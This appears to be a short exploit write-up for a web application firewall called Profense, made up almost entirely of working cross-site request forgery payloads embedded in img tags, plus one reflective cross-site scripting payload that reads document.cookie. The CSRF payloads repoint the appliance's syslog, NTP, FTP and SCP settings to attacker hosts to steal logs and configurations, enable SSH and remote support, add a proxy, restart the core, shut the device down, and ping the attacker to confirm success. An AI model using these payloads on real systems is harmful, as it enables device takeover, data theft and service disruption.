Chaning configuration:
DNS, SMTP,  NTP servers.
Set a (malcious) remote FTP server or SCP server to backup (steal)
configuration files.   This could be used to steal the configuraitons.
Set a remote syslog server to steal the logs
Enable SSH
Enable SNMP
<img src=https://www.example.com/ajax.html?hostname=profense.mydomain.com&gateway=10.1.1.1&dns=10.1.1.1&smtp=10.1.1.1&max_src_conn=100&max_src_conn_rate_num=100&max_src_conn_rate_sec=10&blacklist_exp=3600&ntp=ntp.hacked.com&timezone=CET&syslog=syslog.hacked.com&syslog_ext_l=4&snmp_public=public&snmp_location=&contact=admin%40mydomain.com&ftp_server=ftp.hacked.com&ftp_port=21&ftp_login=user&ftp_passwd=password&ftp_remote_dir=%2Fhijacked_log&scp_server=scp.hacked.com&scp_port=22&scp_login=admin&scp_remote_dir=%2Fhijacked_log&ftp_auto_on=on&scp_auto_on=on&ssh_on=on&remote_support_on=on&action=configuration&do=save>
Apply new configurations:
<img src=https://www.example.com/ajax.html?action=restart&do=core>

Add a proxy:
<img src=https://www.example.com/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>

Turn off the Proface machine:
<img src=https://www.example.com/ajax.html?action=shutdown>

Force the Proface server to ping:
<img src=https://www.example.com/ajax.html?action=ping&ip=10.1.1.1>
Could be used to nofiy the attacker that the attack succeeded.

reflective xss:
https://www.example.com/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>